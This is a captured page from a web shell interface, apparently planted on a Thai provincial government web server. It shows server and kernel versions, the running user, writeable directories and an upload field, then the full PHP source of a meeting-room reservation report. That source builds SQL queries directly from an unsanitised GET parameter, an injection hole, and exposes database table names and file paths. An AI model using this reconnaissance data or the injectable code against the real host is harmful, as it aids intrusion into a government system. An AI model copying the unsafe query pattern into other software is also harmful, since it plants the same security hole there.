MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/meetingroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/meetingroom/print_report_20100314.php
<?
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
//insert timeQuery
include("../../common/common_system.inc.php"); 
$ApplicationName="metting"; 
$time_start = getmicrotime();  
//insert timeQuery
$sql="select  * from eoffice_config where appid='3' and  modual_name='approvevisual' and varname='prosition'";
$result=mysql_query($sql);
if($result){
	$row=mysql_fetch_array($result);
	$prosition_name=$row['varvalue'];
}
$sql="select  * from eoffice_config where appid='3' and modual_name='approvevisual' and varname='province'";
$result=mysql_query($sql);
if($result){
	$row=mysql_fetch_array($result);
	$province_name=$row['varvalue'];
}
$sql="select  * from eoffice_config where appid='3' and modual_name='approvevisual' and varname='name'";
$result=mysql_query($sql);
if($result){
	$row=mysql_fetch_array($result);
	$name=$row['varvalue'];
}
$id=$_GET['index'];
$sql = " SELECT
meeting_reserve.refid,
meeting_reserve.roomid,
meeting_reserve.daterent,
meeting_reserve.time_start,
meeting_reserve.time_end,
meeting_reserve.staff_regis,
meeting_reserve.contactpoint,
meeting_reserve.contactpointtel,
meeting_reserve.meeting_topic,
meeting_reserve.meeting_chairman,
meeting_reserve.meeting_person,
meeting_reserve.admin_confirm,
meeting_reserve.cost_request,
meeting_reserve.cost_paid,
meeting_reserve.date_paid,
meeting_reserve.updatetime,
meeting_reserve.`comment`,
meeting_reserve_access.costbath AS costb,
meeting_room.rname
FROM
meeting_reserve
Left Join meeting_reserve_access ON meeting_reserve.refid = meeting_reserve_access.reserve_id
Inner Join meeting_room ON meeting_reserve.roomid = meeting_room.rid
WHERE refid = '$id'";
	$result = mysql_query($sql) ; 
	while ($rs = mysql_fetch_assoc($result)){ 
		$sql="Select org_staffgroup.groupname FROM org_groupmember Inner Join epm_staff ON org_groupmember.staffid = epm_staff.staffid Inner Join org_staffgroup ON org_staffgroup.gid = org_groupmember.gid where  epm_staff.staffid = $rs[staff_regis]";
	$my_query=mysql_query($sql);
	$xrow=@mysql_fetch_array($my_query);
    $groupname=$xrow['groupname'];
	
	
		$rs_roomid    = $rs[roomid] ; 
		$rs_roomname    = $rs[rname] ; 
		$rs_daterent   = $rs[daterent] ; 
		$rs_time_start    = $rs[time_start] ; 
		$rs_time_end    = $rs[time_end] ; 
		$rs_staff_regis    = $rs[staff_regis] ; 
		$rs_contactpoint    = $rs[contactpoint] ; 
		$rs_contactpointtel    = $rs[contactpointtel] ; 		
		$rs_meeting_topic    = $rs[meeting_topic] ; 
		$rs_meeting_chairman    = $rs[meeting_chairman] ; 
		$rs_meeting_person    = $rs[meeting_person] ; 	
		$rs_admin_confirm    = $rs[admin_confirm] ; 
		$rs_cost_acc = $rs[costb];
	}

	$rs_daterent=convert_mysql2th($rs_daterent );
	
			$nowhh = date("G") ; 
			$nowmin = date("i") ; 		
			$arr_xstart = @explode(":" , $rs_time_start ) ; 
			$arr_xend  = @explode(":" , $rs_time_end  ) ; 			
			$xhh1 = (int)$arr_xstart[0] ; $xmm1 = (int)$arr_xstart[1] ; 
			$xhh2 = (int)$arr_xend[0] ; $xmm2 = (int)$arr_xend[1] ; 	
			$str_timestart = 	 $xhh1 .":". $xmm1 ." " ; $str_timestart = str_replace(":0 ",":00",$str_timestart) ; 
			$str_timeend  = 	 $xhh2 .":". $xmm2 ." "  ;$str_timeend = str_replace(":0 ",":00",$str_timeend) ;  	
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>พิมพ์บันทึกข้อความนำเสนอ</title>
<style type="text/css">
<!--
body {
	margin-left: 10px;
	margin-top: 10px;
	margin-right: 10px;
	margin-bottom: 10px;
}
.boxline{
	border-top-width: 1px;
	border-right-width: 0px;
	border-bottom-width: 0px;
	border-left-width: 0px;
	border-top-style: solid;
	border-top-color: #000;
	border-right-color: #000;
	border-bottom-color: #000;
	border-left-color: #000;
	border-right-style: none;
	border-bottom-style: none;
	border-left-style: none;
	width: 150px;
	visibility: inherit;
	text-align: center;
	}
	.boxlineunder{
	border-top-width: 0px;
	border-right-width: 0px;
	border-bottom-width: 1px;
	border-left-width: 0px;
	border-top-style: none;
	border-top-color: #000;
	border-right-color: #000;
	border-bottom-color: #000;
	border-left-color: #000;
	border-right-style: none;
	border-bottom-style: solid;
	border-left-style: none;
	}
body,td,th {
	font-family: Verdana, Geneva, sans-serif;
	font-size: 14px;
	color: #000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
-->
</style>
<script language="javascript">

function printpr()
{
var OLECMDID = 7;
/* OLECMDID values:
* 6 - print
* 7 - print preview
* 1 - open window
* 4 - Save As
*/
var PROMPT = 1; // 2 DONTPROMPTUSER
var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
WebBrowser1.ExecWB(OLECMDID, PROMPT);
WebBrowser1.outerHTML = "";
}
</script>

</head>
<body >
<table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>เรียน<?=$prosition_name.$province_name?></td>
  </tr>
  <tr>
    <td height="5"></td>
    <td></td>
  </tr>
  <tr>
    <td width="1%">&nbsp;</td>
    <td width="99%"> 
	 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	 เนื่องด้วยหน่วยงาน  <u>
	 <?=$groupname?></u>  
	 มีความประสงค์ใช้ห้องประชุม  <u>
	 <?=$rs_roomname?></u>  
	 เรื่อง  </u>  
	 <u><?=$rs_meeting_topic?></u>  โดยมี     
	 <u><?=$rs_meeting_chairman?></u>      
	 เป็นประธานการประชุมและมีผู้เข้าร่วมประชุมจำนวน <u> <?=$rs_meeting_person?></u>
	  
	 คน ในวันที่<u> <?=$rs_daterent?></u>  

	 เวลา   <u><?=$str_timestart?>
	</u>      
	 ถึง  
<u>
	 <?=$str_timeend?></u>     </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>
<TABLE width="100%" border="0" cellpadding="0" cellspacing="1">
                        <TR>
                          <TD height="30" colspan="2"> โดยขอใช้อุปกรณ์โสต ดังนี้ </TD>
                        </TR>
<?
############ accid  accname  accdetail  accunit  accprice
$sql1 = " select * from  meeting_accessories  "; 
$result1 = mysql_query($sql1) ;
while ($rs1 = mysql_fetch_assoc($result1)){ 
?>					
                        <TR>
                          <TD width="6%" align="center">
                          <?php
						  	$ac=$rs1[accid];
						  	$sql="select count(accid) from meeting_reserve_access where accid='$ac'";
							$query=mysql_query($sql);
							list($accessory)=mysql_fetch_row($query);
							if($accessory==0){
						  ?>

[  &nbsp;  <strong>/</strong>  &nbsp; ] 
						<?php }else{echo " [  &nbsp;  &nbsp; ] " ;} ?>						</TD>
                          <TD width="71%"  ><?=$rs1[accname]?>
<INPUT name="frmpricebath_<?=$rs1[accid]?>" type="hidden" id="frmpricebath_<?=$rs1[accid]?>" value="<?=$rs1[accprice]?>"></TD>
                        </TR>
<?
}
?>						
                        <TR>
                          <TD>&nbsp;</TD>
                          <TD>&nbsp;</TD>
                        </TR>
                      </TABLE>	
	</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="right">จากการตรวจสอบเบื้องต้นในเวลาดังกล่าวไม่มีการใช้ห้องห้องประชุม </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="76%">จึงเรียนมาเพื่อโปรดพิจารณา</td>
        <td width="24%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td align="center" ><table  height="20px" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td width="1px" >(</td>
            <td class="boxline">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              
              &nbsp;</td>
            <td width="1px">)</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>ความเห็น&nbsp;&nbsp;<?=$prosition_name." ". $province_name?></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;&nbsp;&nbsp;<img width="13" height="12" src="print_report_clip_image001.gif" /> อนุญาตให้ใช้ห้องประชุม</td>
        <td></td>
      </tr>
      <tr>
        <td>&nbsp;&nbsp;&nbsp;<img width="13" height="12" src="print_report_clip_image001_0000.gif" /> ไม่อนุญาตให้ใช้ห้องประชุม </td>
        <td></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="3%">&nbsp;</td>
        <td width="97%">หมายเหตุ </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td class="boxlineunder">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td class="boxlineunder">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td class="boxlineunder">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="76%">&nbsp;</td>
        <td width="24%" align="center" >
           ___________________<br />
          (<?=$name?>)           </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td align="center"><?=$prosition_name.$province_name?></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td></td>
      </tr>
    </table></td>
  </tr>
</table>
</body >
</html>
<?
//insert timeQuery
 $time_end = getmicrotime();
  writetime2db($timestart,$timeend);
//insert timeQuery
?>

Anon7 - 2021